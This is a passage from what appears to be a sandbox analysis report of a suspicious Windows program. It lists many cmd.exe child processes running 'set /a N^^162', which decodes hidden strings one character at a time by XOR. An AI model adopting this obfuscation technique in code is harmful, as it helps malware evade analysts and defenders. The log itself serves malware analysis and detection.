      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:580
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2836
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2416
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:1344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2132
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2364
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2316
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2264
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2208
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2136
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2244
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:836
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2252
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2412
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:1240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:1044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2200
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 234^^162"
      4⤵
      PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2436
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1484
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2340
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:2432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2204
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:2192
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:740
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:3056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:3032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 234^^162"
      4⤵
      PID:2120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2080
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 246^^162"
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:2528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2544
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:2896
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:3060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2184
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 234^^162"
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 224^^162"
      4⤵
      PID:916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:2996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:3052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:1344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:2700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2132
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2836
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:2884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:1148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1196
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 230^^162"
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1388
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2140
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2384
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2212
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2244
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 230^^162"
      4⤵
      PID:2192
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 246^^162"
      4⤵
      PID:1484
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2280
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2156
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:3000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2772
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:3068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2828
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2112
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
